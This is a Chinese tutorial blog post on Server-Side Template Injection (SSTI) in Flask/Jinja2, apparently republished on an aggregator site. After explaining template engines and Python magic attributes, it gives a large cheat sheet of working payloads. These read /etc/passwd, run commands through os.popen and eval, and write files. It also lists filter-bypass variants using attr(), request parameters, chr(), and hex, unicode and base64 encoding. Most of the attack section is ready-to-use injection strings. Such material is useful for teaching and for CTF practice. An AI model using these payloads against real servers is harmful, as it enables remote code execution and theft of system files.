【网络安全 | 1.5w字总结】SSTI漏洞入门,这一篇就够了。

2024-02-05 07:40

本文主要是介绍【网络安全 | 1.5w字总结】SSTI漏洞入门,这一篇就够了。,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 什么是SSTI
    • SSTI类型有哪些
    • 常用类及过滤器
    • 攻击思路
    • 常用payload
      • 无过滤情况
      • 有过滤情况
    • 总结


读者可参考、订阅网络安全专栏:网络安全:攻防兼备 | 秋说的博客


什么是SSTI

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。

sql注入的成因是:当后端脚本语言进行数据库查询时,可以构造输入语句来进行拼接,从而实现恶意sql查询。

SSTI与其相似,服务端将输入作为web应用模板内容的一部分,在进行目标编译渲染的过程中,拼接了恶意语句,因此造成敏感信息泄露、远程命令执行等问题。


SSTI类型有哪些

在PHP、Java和Python这三种常用的编程语言中,都有一些流行的模板引擎。

PHP:
1.Smarty:Smarty是PHP语言中广泛使用的模板引擎,它提供了强大的模板分离和逻辑控制功能。

2.Twig:Twig是一个现代化的PHP模板引擎,被广泛用于Symfony框架等PHP应用程序中。

3.Blade:Blade是Laravel框架的默认模板引擎,它提供了简洁的语法和强大的模板继承特性。

Java:
1.Thymeleaf:Thymeleaf是一种现代化的Java服务器端模板引擎,广泛应用于Spring框架等Java Web应用。

2.FreeMarker:FreeMarker是Java语言中流行的模板引擎,具有灵活的语法和强大的自定义标签功能。

3.Mustache:Mustache是一种简单而功能强大的模板语言,支持多种编程语言,包括Java。

Python:
1.Jinja2:Jinja2是Python语言中广泛使用的模板引擎,被许多Web框架(如Flask和Django)所采用。

2.Mako:Mako是另一个在Python中常用的模板引擎,它具有简单易用的语法和高性能的特点。

3.Django模板引擎:针对Django框架而言,它自带了一个强大的模板引擎,为开发人员提供了丰富的模板标签和过滤器。

我们该如何判断模板引擎的类型呢?

简要来说依靠这张图即可:

在这里插入图片描述


常用类及过滤器

类的利用

有些模板引擎提供了一些内置类和方法,可以在模板中使用。

假设我们使用的是Jinja2模板引擎,并且有一个自定义的User类,包含nameage属性。我们可以在模板中创建一个User对象,并访问其属性。

from jinja2 import Templateclass User:def __init__(self, name, age):self.name = nameself.age = agetemplate_string = '''
Name: {{ user.name }}
Age: {{ user.age }}
'''template = Template(template_string)
user = User('Alice', 25)
rendered_output = template.render(user=user)print(rendered_output)

在上面的例子中,我们在模板中创建了一个user对象,并通过{{ user.name }}{{ user.age }}的方式在模板中访问了该对象的属性。

最终输出的结果是:

Name: Alice
Age: 25

常用类:

__class__:表示实例对象所属的类。__base__:类型对象的直接基类。__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。__mro__:一个由类组成的元组,在方法解析期间用于查找基类。__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。__init__:初始化类的构造函数,返回类型为function的方法。__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()__str__():返回描述该对象的字符串,通常用于打印输出。url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.__globals__['os'].popen('ls').read()}})。current_app:应用上下文的全局变量。request:用于获取绕过字符串的参数,包括以下内容:- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。config:当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>

语法示例:
(1)__class__用来查看变量所属的类,格式为变量.__class__

利用方式:

输入''.__class__
回显<class 'str'>输入().__class__
回显<class 'tuple'>输入{}.__class__
回显<class 'dict'>输入[].__class__
回显<class 'list'>

(2)__bases__用来查看类的基类,格式为变量.__class__.__bases__

利用方式:

输入''.__class__.__bases__
回显(<class 'object'>,)输入().__class__.__bases__
回显(<class 'object'>,)输入{}.__class__.__bases__
回显(<class 'object'>,)输入[].__class__.__bases__
回显(<class 'object'>,)

同时可结合数组,如:
输入 变量.__class__.__bases__[0]
可获得第一个基类


过滤器:
在SSTI(Server-Side Template Injection)中,过滤器可以用于对变量进行处理和转换。

int():将值转换为整数类型;float():将值转换为浮点数类型;lower():将字符串转换为小写形式;upper():将字符串转换为大写形式;title():将字符串中每个单词的首字母转换为大写;capitalize():将字符串的第一个字母转换为大写,其他字母转换为小写;strip():删除字符串开头和结尾的空白字符;wordcount():计算字符串中的单词数量;reverse():反转字符串;replace():替换字符串中的指定子串;truncate():截取字符串的指定长度;striptags():删除字符串中的所有HTML标签;escape()或e:转义字符串中的特殊字符;safe():禁用HTML转义;list():将字符串转换为列表;string():将其他类型的值转换为字符串;join():将序列中的元素拼接成字符串;abs():返回数值的绝对值;first():返回序列的第一个元素;last():返回序列的最后一个元素;format():格式化字符串;length():返回字符串的长度;sum():返回列表中所有数值的和;sort():排序列表中的元素;default():在变量没有值的情况下使用默认值。strip():删除字符串开头和结尾的指定字符,默认删除空白字符。startswith(prefix):判断字符串是否以指定前缀开头。endswith(suffix):判断字符串是否以指定后缀结尾。isalpha():判断字符串是否只包含字母字符。isdigit():判断字符串是否只包含数字字符。isalnum():判断字符串是否只包含字母和数字字符。isspace():判断字符串是否只包含空白字符。split(separator):将字符串按指定分隔符分割成列表。join(iterable):使用指定字符连接序列中的元素。count(substring):统计字符串中子串出现的次数。find(substring):查找子串第一次出现的位置,若不存在则返回-1replace(old, new):替换字符串中的指定子串。islower():判断字符串是否全为小写字母。isupper():判断字符串是否全为大写字母。isdigit():判断字符串是否只包含数字。isnumeric():判断字符串是否只包含数字字符。isdecimal():判断字符串是否只包含十进制数字字符。isidentifier():判断字符串是否是合法的标识符。isprintable():判断字符串是否只包含可打印字符。encode(encoding):使用指定的编码对字符串进行编码。decode(encoding):使用指定的编码对字符串进行解码。

示例:

假设我们有一个模板引擎,它接受一个名为user_input的输入,并将其渲染到模板中。我们可以使用过滤器来对user_input进行处理。

from jinja2 import Templateinput_string = '{{ user_input|lower|capitalize }}'
template = Template(input_string)user_input = 'hello world'
rendered_output = template.render(user_input=user_input)print(rendered_output)

在上面的例子中,我们使用了两个过滤器:lowercapitalize。首先,lower过滤器将user_input转换为小写形式,然后capitalize过滤器将结果中的第一个字母转换为大写。最终输出的结果是Hello world


攻击思路

确定模板引擎、利用模板的内置方法进行rce和getshell


常用payload

无过滤情况

#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

有过滤情况

绕过.

1.使用中括号[]绕过

{{().__class__}} 
可替换为:
{{()["__class__"]}}举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}

2.使用attr()绕过

attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。

{{().__class__}} 
可替换为:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}举例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

绕过单双引号

1.request绕过

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。其它例子:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

2.chr绕过

{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。

绕过关键字

1.使用切片将逆置的关键字顺序输出,进而达到绕过。

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

2.利用"+"进行字符串拼接,绕过关键字过滤。

{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}

3.join拼接

利用join()函数绕过关键字过滤

{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}

4.利用引号绕过

{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}

5.使用str原生函数replace替换

将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

6.ascii转换

将每一个字符都转换为ascii值后再拼接在一起。

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

7.16进制编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

同理,也可使用八进制编码绕过

8.base64编码绕过

对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。

"__class__"==("X19jbGFzc19f").decode("base64")例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

9.unicode编码绕过

{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()

10.Hex编码绕过

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

绕过init

可以用__enter____exit__替代__init__

{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

总结

以上为SSTI漏洞相关知识点详析,通过详细的步骤和清晰的说明,分享一些实际案例和最佳实践。

我是秋说,我们下次见。

这篇关于【网络安全 | 1.5w字总结】SSTI漏洞入门,这一篇就够了。的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/680200

相关文章

Spring WebClient从入门到精通

《SpringWebClient从入门到精通》本文详解SpringWebClient非阻塞响应式特性及优势,涵盖核心API、实战应用与性能优化,对比RestTemplate,为微服务通信提供高效解决... 目录一、WebClient 概述1.1 为什么选择 WebClient?1.2 WebClient 与

Spring Boot 与微服务入门实战详细总结

《SpringBoot与微服务入门实战详细总结》本文讲解SpringBoot框架的核心特性如快速构建、自动配置、零XML与微服务架构的定义、演进及优缺点,涵盖开发环境准备和HelloWorld实战... 目录一、Spring Boot 核心概述二、微服务架构详解1. 微服务的定义与演进2. 微服务的优缺点三

从入门到精通详解LangChain加载HTML内容的全攻略

《从入门到精通详解LangChain加载HTML内容的全攻略》这篇文章主要为大家详细介绍了如何用LangChain优雅地处理HTML内容,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录引言:当大语言模型遇见html一、HTML加载器为什么需要专门的HTML加载器核心加载器对比表二

从入门到进阶讲解Python自动化Playwright实战指南

《从入门到进阶讲解Python自动化Playwright实战指南》Playwright是针对Python语言的纯自动化工具,它可以通过单个API自动执行Chromium,Firefox和WebKit... 目录Playwright 简介核心优势安装步骤观点与案例结合Playwright 核心功能从零开始学习

Java通过驱动包(jar包)连接MySQL数据库的步骤总结及验证方式

《Java通过驱动包(jar包)连接MySQL数据库的步骤总结及验证方式》本文详细介绍如何使用Java通过JDBC连接MySQL数据库,包括下载驱动、配置Eclipse环境、检测数据库连接等关键步骤,... 目录一、下载驱动包二、放jar包三、检测数据库连接JavaJava 如何使用 JDBC 连接 mys

从入门到精通MySQL联合查询

《从入门到精通MySQL联合查询》:本文主要介绍从入门到精通MySQL联合查询,本文通过实例代码给大家介绍的非常详细,需要的朋友可以参考下... 目录摘要1. 多表联合查询时mysql内部原理2. 内连接3. 外连接4. 自连接5. 子查询6. 合并查询7. 插入查询结果摘要前面我们学习了数据库设计时要满

JavaSE正则表达式用法总结大全

《JavaSE正则表达式用法总结大全》正则表达式就是由一些特定的字符组成,代表的是一个规则,:本文主要介绍JavaSE正则表达式用法的相关资料,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录常用的正则表达式匹配符正则表China编程达式常用的类Pattern类Matcher类PatternSynta

从入门到精通C++11 <chrono> 库特性

《从入门到精通C++11<chrono>库特性》chrono库是C++11中一个非常强大和实用的库,它为时间处理提供了丰富的功能和类型安全的接口,通过本文的介绍,我们了解了chrono库的基本概念... 目录一、引言1.1 为什么需要<chrono>库1.2<chrono>库的基本概念二、时间段(Durat

解析C++11 static_assert及与Boost库的关联从入门到精通

《解析C++11static_assert及与Boost库的关联从入门到精通》static_assert是C++中强大的编译时验证工具,它能够在编译阶段拦截不符合预期的类型或值,增强代码的健壮性,通... 目录一、背景知识:传统断言方法的局限性1.1 assert宏1.2 #error指令1.3 第三方解决

从入门到精通MySQL 数据库索引(实战案例)

《从入门到精通MySQL数据库索引(实战案例)》索引是数据库的目录,提升查询速度,主要类型包括BTree、Hash、全文、空间索引,需根据场景选择,建议用于高频查询、关联字段、排序等,避免重复率高或... 目录一、索引是什么?能干嘛?核心作用:二、索引的 4 种主要类型(附通俗例子)1. BTree 索引(